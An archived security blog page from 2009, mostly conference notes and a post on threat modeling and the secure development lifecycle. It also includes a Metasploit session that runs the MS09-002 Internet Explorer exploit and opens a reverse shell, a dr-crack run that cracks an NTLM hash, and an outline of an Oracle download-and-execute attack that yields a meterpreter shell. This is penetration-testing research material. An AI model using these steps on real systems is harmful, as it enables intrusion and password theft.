Wednesday, February 18, 2009

BlackHat Day 1...writeup coming soon

Yeah I fully intended to do my day 1 write up, but Lost was on, sorry...

But I do have notes and if i'm motivated in the morning will do it on the train in for Day 2.

Couple of quick highlights with more tomorrow.

Travis Goodspeed is a hardware ninja and all zigbee are belong to Travis.

Michael Sutton with client side SQLI is the new hotness. Go Google Gears!

Adam Laurie is still the RFID man! and now I have to buy satellite gear because his commercial satellite hacking was the shizzle!

I got to see HD Moore in the flesh...thats always cool.

Lunch was way better than last year

some gripes...

no free BlackHat T-shirt! what the F**k!!! for $1200+ people deserve their free BlackHat T-shirt and shouldn't have to pay 20 bucks for one. man, that really started me off on a downer for the day

no phone signal in the con area so no twitter :-( ...yeah i don't have an iphone so i couldn't just connect to the wifi because i have verizon and they border on cruel and unusual punishment.

Day 2

looking forward to Valsmith and Collin's talk and David Litchfield's talk.

MS09_002 Memory Corruption Exploit

Details to follow. :-)

msf > use exploit/windows/browser/ms09_002
msf exploit(ms09_002) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(ms09_002) > set LPORT 1701
LPORT => 1701
msf exploit(ms09_002) > set LHOST 10.10.10.15
LHOST => 10.10.10.15
msf exploit(ms09_002) > set URIPATH ie7.html
URIPATH => ie7.html
msf exploit(ms09_002) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms09_002) > exploit
[*] Exploit running as background job.
msf exploit(ms09_002) >
[*] Handler binding to LHOST 10.10.10.15
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/ie7.html
[*] Local IP: http://10.10.10.15:80/ie7.html
[*] Server started.
[*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.10.1:1865...
[*] Command shell session 1 opened (10.10.10.15:1701 -> 10.10.10.1:4387)

UT SSE Presentation: Introduction to Software Security and Threat Modeling

Last Friday, I had the opportunity to introduce some aspects of software security and threat modeling to the UT Student Software Engineering Group, which included a mix of undergraduate and graduate students as well as faculty. The presentation format was more of an open discussion where I would answer questions as I spoke, and we would engage in conversation about the topic of the question. I enjoy this format, because the presentation evolves with the group, and not the presenter. The presentation is up on the site and located here.


During the course of the presentation, several interesting questions came up that I was not prepared to answer completely. Additionally, I feel it would be good to share the questions and my thoughts with others after I researched them. One question was about the economics of software security and whether or not the security integrated into the software development life cycle is worth the effort. Another question posed wanted to know if threat modeling and software security were effective in reducing vulnerabilities and other unwanted issues such as bugs. The final question was specific to software developers and things besides that can be done besides writing good code. There are a number of great references on the topic of software security, and my comments may only scratch the surface. If you want to learn more, I have provided some URLs and books I have used to get you started. As a starting point, I used a presentation given by Chris Peterson who presented on Microsoft Windows 7 Security at XCon put on by XFocus [1].


The first topic that came up during the presentation concerned metrics and how security helps improve the software engineering process. Additionally, there were questions about cost savings, specifically does security make the software engineering process more expensive. My answer to these questions depends.


First off, security is one ingredient to the software engineering process. If everything in the process is done correctly and security is integrated into it, as the SDL describes, the over time I see the cost of the software lower than the without security. Cost can be driven down in a number of ways. In 2002, RTI published a report about poor testing standards and the impact on the economy [2]. They published costs due to poor QA and testing and then potential savings. Given this fact, lets look at QA and testing. These are some of the hardest and most laborious tasks in the software engineering process, outside of the actual development. When tools such as threat modeling or fuzzing are employed these costs can be lowered. Threat modeling can be used to identify how the application will be used and abused (e.g., test cases and abuse cases) along with identifying more sensitive and critical areas in the software or areas in the software where automated testing can be performed. One inherent benefit is identifying and performing testing in areas that need it most, rather than testing the entire product equally.


Automated testing frameworks can also be developed or augmented to meet the automated testing needs of the project. From the TM, test patterns and cases can arise, and these can then be fed into the testing framework. This aspect helps save money because machine clock cycles are cheaper than human man-hours. Additionally, the framework and test patterns can be kept in a library for future use, so the fuzzing investment can be reused and even built into other projects. So in this case there may be a higher overhead due to threat modeling and automated security testing framework development, but there is also a potential savings over the life of the project, and other projects as well. As far as money or cost savings from these activities, I do not have figures. But a question did arise about the cost of a security breach, and I found a figure that was about $202 per record [3,4]. But there is no comparison or metric for money saved. There are other places where money can be saved like a streamlined patching process or reliability as a result of security, but for brevity we will continue on to the other questions that arose.


While my first issue infers better security is possible, it does not prove it with empirical data. The second discussion we had was about improved product security. Since Microsoft began using the SDL in 2002, they have seen a sharp decrease in the number of critical vulnerabilities in their operating systems [5]. The following figure is excerpted from H1 2008 Desktop OS Vendor Report.



Image From H1 2008 Desktop OS Vendor Report p. 13, Vulnerabilities By Product, Severity (Reduced Linux Configuration)

Image From H1 2008 Desktop OS Vendor Report p. 13, Vulnerabilities By Product, Severity (Reduced Linux Configuration)


The figure shows vulnerabilities (critical, medium, and low) by OS, comparing Windows Vista, Windows XP SP2, Mac OS X, Ubuntu, and RHEL. The figure shows Windows Vista with much fewer vulnerabilities than other desktop platforms. Additionally, on Microsoft’s Malware Protection Center Site, there is a graph on page 15 of [6], which shows the infection rates of each of their operating system platforms with Microsoft Vista touting much less than most of the others. The only OS with fewer infections is Microsoft Server 2003 SP2, which could be for more than one reason:1) it has fewer deployments, 2) it is not used for everyday activities that expose it to threats seen by consumer desktops (e.g. no changes to default security settings), or 3) its more secure. Microsoft’s Vista OS is one of the flagship products for the SDL process. When Microsoft XP and Microsoft Vista are compared in vulnerabilities and infection rates, a conclusion can be drawn that a successful SDL can help build a successfully secure product.


Another issue that came up is the insider threat and how to model them, more specifically the byzantine user who has some motive to do harm. Insider threats are the most expensive and dangerous aspects of a security system. In these cases, threat modeling can help identify critical assets, data, systems, etc. and identify mitigation strategies. First of all the Principle of Least privilege should be used. This can help knock down most significant risks, because users are only privileged to do the role they fill. For example, a banking clerk should not be given administrative access to their host. Technical and human checks and balances (e.g. controls) should be integrated into architectures, designs, and implementations. The controls might require multiple authoritative personnel to sign-in and allow critical changes. The controls might come in the form of policy, but given a rogue user with ulterior motives may circumvent the system to meet their own objectives, so logging and review should also be heavily integrated into the system. As an example, any work a network engineer does should be checked by a peer to prevent malicious or catastrophic events. In one case, a major corporation was spared millions by a review of server management scripts [7]. However, their security policies should be heavily scrutinized and rewritten. There are as many ways to circumvent security issues as there are to mitigate them. TM will help assess the risk and help place a value of how much mitigation is necessary and where the mitigation needs to be employed to thwart these types of attackers. In any environment, Defense-in-Depth is key in ensuring overlapping security coverage and positive failure. Like software engineering, there is no silver bullet.


One final topic that came up in the presentation was technology. Specifically what else is there besides code security. On the developer side of the fence, there are a number of exercises that can be performed to ensure code security, which might include code analysis (e.g. static or dynamic analysis), code reviews, policies regarding unsafe APIs, input validation, code signing and obfuscation, etc from development up to deployment of the product. There are also technologies and policies that can be used to supplement code security when the software is in production. As I mentioned Defense-in-Depth is the key to a successful security plan. Technologies and policies need to be chosen to accommodate and secure software products. For example, when a product is RTM, all debugging symbols should be stripped and stack checking should be enabled to prevent arbitrary control from stack overflows. The deployment platform should be secure by default, meaning features such as DEP and memory randomization are enabled. Depending on the deployment scenario, other steps may be taken. If this is a large IT project, the systems involved can be reviewed for secure configuration guidelines, network technologies for logging and access control can be used, etc. There is an entire laundry list of things that can be done out side of the code level.


Security is all about engineering. There are a vast number of things that can be done to ensure a successful and product development cycle. I feel that a TM is the keystone of this success. It helps everyone understand the goals of the product, each component, leading up to identifying and understanding how to contain or handle threats. I equate threat models for software engineers to a battle plan for war fighters. The threat model provides insight into the security landscape, it helps flush out logistical and strategic details, and everyone should come out with an understanding of what they need to do to make the project a success. I could go on about this topic, because I love to discuss this and educate others about security. I have been doing this for a while, and I really do have much to share, but given this has all been said at one time or another, I will simply present some links of interest.


Links to OWASP regarding information and application security:

OWASP

OWASP Security Principles (for Developers and Designers) (not just for software folks)


OWASP How-to Articles


Microsoft SDL and Software Security Information:

Microsoft’s SDL Home Page

Microsoft’s Threat Modeling Tool

Microsoft’s Security Intelligence Reports and Malware Protection Group


Here are just a few books I have read or keep available in my library:

Coding Standards and SDL Practices


M. Howard and D. LeBlanc, Writing Secure Code, ed. 2. Redmond: Microsoft Press, 2003.

M. Howard and S. Lipner, The Security Development Lifecycle. Redmond: Microsoft Press, 2006.

G. McGraw, Software Security Building Security In. Upper Saddle River: Addison Wesley, 2006.

Software Testing and Assessment

G. McGraw and G. Hoglund, Exploiting Software How to Break Code. Boston: Addison Wesley, 2003.

M. Sutton, A. Green, and P. Amini, Fuzzing Brute Force Vulnerability Discovery. Upper Saddle River: Addison Wesley, 2007.

M. Down, J. McDonald, and J. Shuh, The Art of Software Security Assessment Identifying and Preventing Vulnerabilities. Upper Saddle River: Addison Wesley, 2007.


Bibliography:


1. C. Peterson. “Windows 7 Security Overview.” XCon2008 XFocus Information Security Conference. November, 2008.


2. RTI. “Planning Report 02-3: The Economic Impacts of Inadequate Infrastructure for Software Testing (2009).” NIST [Online], Available, http://www.nist.gov/director/prog-ofc/report02-3.pdf.

3. Walt. “Cost of a Security Breach (2009).” PCI DSS News and Information [Online]. Available, http://www.treasuryinstitute.org/blog/index.php?itemid=227.

4. “2008 Annual Study: Cost of a Data Breach (2009).” Ponemon Institute. [Online]. Available, http://www.encryptionreports.com/2008cdb.html.

5. J. Jones, H1 2008 Desktop OS Vendor Report (2009). Technet.com. Blogs.Technet.com [Online], Available, http://blogs.technet.com/security/attachment/3140955.ashx.

6. Microsoft Security Intelligence Report volume 5 (January – June 2008) (2009). Microsoft [Online]. Available, http://www.microsoft.com/downloads/details.aspx?FamilyId=B2984562-47A2-48FF-890C-EDBEB8A0764C.

7. K. Poulsen. “Fannie Mae Logic Bomb Would Have Caused Weeklong Shutdown (2009).” Wired [Online], Available, http://blog.wired.com/27bstroke6/2009/01/fannie.html



Post originates from here.

Saturday, February 14, 2009

Dictionary Based Rainbow Tables with Dr-crack

After Matt Weir's shmoocon talk I got motivated to generate and play with some dictionary based rainbow tables with Dr-crack. Why... I don't know, I pass the hash for everything now, and

"Dictionary based rainbow tables, such as those generated by drcrack, on the other hand allow you to create pre-generated hash tables based on dictionary words and common word mangling rules, such as "P@ssword12".

Plus it's less "magic" when I say I cracked the passwords versus just passing the hash, passing the hash still seems to be magic to alot of people. Plus, as Matt Carpenter pointed out to me, you cant log into Terminal Services/RDP with a hash :-)

So I went to the website and downloaded the .tar, extracted, and typed make all and got the following error.

cg@notBT:~/evil/drcrack/shmoocon_submit$ make all make: *** No rule to make target `Public.o', needed by `drtgen'. Stop.

The issue ended up being public.cpp which needed to be named Public.cpp. rename the file and you should be good to go.

You can run ./dr_rules to alter either the basic_rules file or the keyboard_rules file but to get started I just used the default keyboard rules, dictionary, and table that they generated.

I changed a password in a VM to a keyboard combo (but still a 10 character password) that I was sure was in the dictionary and dumped the hashes.

then I ran the tool: (usage was here: http://reusablesec.googlepages.com/drcrack)

cg@notBT:~/evil/drcrack/shmoocon_submit$ ./drcrack -d /home/cg/evil/drcrack/keyboard_basic/keyboard_map.cfg -h 0D757AD173D2FC249CE19364FD64C8EC
keyboard_map.cfg:
Hash=ntlm...
index=0
ChainLen=2400
ChainCount=5000000
RainbowTable=/home/cg/evil/drcrack/keyboard_basic/keyboard_map.rt
Dictionary=/home/cg/evil/drcrack/keyboard_basic/keyboard_dic.txt
ManglingRules=/home/cg/evil/drcrack/keyboard_basic/keyboard.rules
NEWRULES IS TRUE
Processing mangling rules
special=[>!@#$%^&*()_+\-=?.,/\\":; ] size=26
lower=[abcdefghijklmnopqrstuvwxyz] size=26
upper=[ABCDEFGHIJKLMNOPQRSTUVWXYZ] size=26
number=[0123456789] size=10
Reading in the dictionary
Dictionary Size = 658
Calculating rule and index size
Figuring out Rule Size
Index Size for rule 0 is=658
Index Size for rule 1 is=432964
Index Size for rule 2 is=284890312
the total Size=285323934
reading chunk...
83888 bytes read, disk access time: 0.00 s
verifying the file...
searching for 1 hash...
cryptanalysis time: 6.93 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.25 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.38 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.12 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.04 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.03 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.14 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.17 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.02 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.01 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.06 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.17 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.70 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.05 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.05 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.22 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
cryptanalysis time: 0.03 s
reading chunk...
83888 bytes read, disk access time: 0.00 s
searching for 1 hash...
plaintext of 0d757ad173d2fc249ce19364fd64c8ec is qwertyuiop
cryptanalysis time: 0.03 s

statistics
-------------------------------------------------------
plaintext found: 1 of 1 (100.00%)
total disk access time: 0.00 s
total cryptanalysis time: 9.40 s
total chain walk step: 2876401
total false alarm: 1451
total chain walk step due to false alarm: 1253346

result
-------------------------------------------------------
0d757ad173d2fc249ce19364fd64c8ec qwertyuiop hex:71776572747975696f70


Overall not bad, in less than 10 seconds I found a password that would have been in a pretty big NTLM table otherwise.

I'm sure more posts are forthcoming...

Friday, February 13, 2009

BlackHat D.C. picks

still recovering from shoulder surgery and have been checking out the BlackHat D.C Agenda. Unlike last year for BlackHat USA I actually have a ticket this year so its not just wishful thinking. So here's what I plan on checking out.

Day 1

10:00 - 11:15
Reversing and Exploiting Wireless Sensors
Travis Goodspeed

Toss up between

11:30 - 12:45
Windows Vista Security Internals
Michael Muckin

and

11:30 - 12:45
Let Your Mach-0 Fly
Vincenzo Iozzo

will probably decide on which one has seats that dont suck.

13:45- 15:00
Attacking Intel® Trusted Execution Technology
Joanna Rutkowska and Rafal Wojtczuk

15:15 - 16:30
A Wolf in Sheep's Clothing: The Dangers of Persistent Web Browser Storage
Michael Sutton

16:45 - 18:00
SQL Server Anti-Forensics
Cesar Cerrudo


Day 2

09:00 - 09:50
Dissecting Web Attacks
Val Smith and Colin Ames

10:00 - 11:15
dont know yet, probably the flash one

11:30 - 12:45
Defending Your DNS in a Post-Kaminsky World
Paul Wouters

13:45 - 15:00
dont know yet, probably TOR one

15:15 - 16:30
The Forensic Investigation of a Compromised Oracle Database Server

David Litchfield

16:45 - 18:00
Snort My Memory
Peter Silberman

Is there a talk better than what I picked? let me know!

Monday, February 9, 2009

Shmoo & the 'con within a con'

DC is a blast as always! Hanging and catching up with everyone is always a good time. I met a bunch of folks for the first time too, put names to faces and saw a lot of old friends too.

I'm not going to give a review or opinion of any of the presentations as cg has already done that. I really did not attend that many either to be honest. :) It's becoming more and more apparent to me that the true value of the cons are in the opportunity to network and bounce ideas off your peers.

Walking around I saw small clusters of people everywhere. All talking and sharing ideas and information. A group of us all got together in on of the hotel rooms. A few of the guys broke out their laptops and showed some research and work that by far was the coolest stuff I saw the whole weekend. cg redid his Oracle stuff and it was really cool to brainstorm and come up with ideas to extend the apps, concepts and P0C's that were presented by everyone.

I'm sure that we were not the only guys that were doing this too. These 'cons within cons' are, in my view, a great byproduct of the con itself and I'm looking forward to next one for that reason alone.

Sunday, February 8, 2009

Oracle FTP Script Write/Binary Download/Execute via Oracle Packages Video

Metasploit Auxiliary module for Oracle FTP Script Write/Binary Download/Execute via Oracle Packages.

As DBA (yea for SQLI) we use UTL_FILE to write out our FTP download script, using DBMS_SCHEDULER we create a job to run the script to download our binary and create a 2nd job to execute our binary and get our meterpreter shell. Oracle...Unbreakable.

I got the "how to do it" from Red-Database-Security

check MC's video (requires java) on getting those DBA privs on an 11g box.
w00t-shell.net/demos/CVE-2008-3996.html

No code yet unless you email me and say you'll actually test it. Right now its in the "works for me" status but if you want to try it out on some other Oracle versions give me a shout. It wont work on 9 but should work on 10 & 11.


Metasploit Auxiliary module for Oracle FTP Script Write/Binary Download/Execute via Oracle Packages from carnal0wnage on Vimeo.

Shmoocon Day 2 & 3

Shmoocon is over, according to twitter good times were had by all.

I missed a few talks I wanted to see due to it being too crowded in alot of them and also me not getting my butt in gear on Saturday morning.

So what I did catch.

Zero_Chaos' talk on 802.11 ObgYn or "Spread Your Spectrum" which was about his updated drivers to open up some wifi ranges that were only not accessible because of software driver limitations. very good talk.

Enno Rey and Daniel Mende's talk on All your packets are belong to us - Attacking backbone technologies was interesting but I had to leave par tof the way through.

I unfortunately missed Dave Kennedy's talk on Fast-track that I really wanted to see.

Sunday morning I caught Matt Weir's Enough with the Insanity: Dictionary Based Rainbow Tables. He talked about optimizing the rainbow crack code to be able to do some "smart" rainbow table generation. Tool site: http://reusablesec.googlepages.com & blog http://reusablesec.blogspot.com

Lastly Chris Padget completely demoralized Electronic Drivers License and US Passport Cards, I mean slapped around, spanked, sent to bed without dinner. Great presentation. Really layed out all the reason the technology is wrong for what they are trying to do and how really really wrong the implementation is...ouch.

On other fronts. Dean was there so its always good to hang with Dean. I redid the Oracle talk in my room to some people and got some really good feedback and some things to work on for future functionality.

I also got to put tons of faces to names so shout outs to all the people that I met at shmoo for the first time (too many to list).

Saturday, February 7, 2009

ShmooCon Day 1 wrap up

So quick wrap up on Day 1.

The only talks I caught were the end of the smart key one, which seemed cool and the Watching the Watchers one by the cadets. It was good, not overly technical, but still good.

Did lots of chatting with old friends and met some new ones which is always good. Its always nice to turn names into faces.

ShmooCon Firetalk on Attacking Oracle with the Metasploit Framework went pretty good, its hard to look at everyone when you are in a circle and there was no mic so I pretty much had no voice by the end of it but I think it went pretty good and I got some good feedback and questions from some people in the audience after. The demo video is posted.

Jack Daniel talked about FOI, Failure On Investment as the only measure people are using to actually measure anything security related, which is true but is also why most senior security professionals in the US make 6 figures, you get paid enough to educate and push through those types of issues.

I didnt catch the name for the guy after Jack but he talked about how powerpoint has removed the ability for people to tell a story and other standard tufte quotes. I've had similar discussions with Michael from Security Catalyst. Again I don't disagree but there are times for powerpoint and if powerpoint rules are applied a presentation can be tolerable. The common counter for powerpoint is to just handout the slides with notes or whatever. That works great for a presentation to 10 people at work but certainly doesn't scale to a security conference. I like slides for people that do talks at security conferences that actually have content in the slides. Slides that consist of pictures of a lock, turtle, toilet, cigarette, and a trash can probably make/made perfect sense for the people who were actually sitting in the crowd but if all I get is the slides later it doesn't mean crap. I dont see how I could have pulled off my talk without powerpoint, its hard to talk about code or see the output from metasploit without actually showing it. But comments always welcome.

Ok, that is all for now...trying to get g0ne up and moving from his house so we can head back into D.C. for the talks today.

Attacking Oracle with Metasploit ShmooCon Firetalk Demo

Here is the video from my Attacking Oracle with the Metasploit Framework ShmooCon Firetalk.




Attacking Oracle with the Metasploit Framework Shmoocon Firetalk Demo Video from carnal0wnage on Vimeo.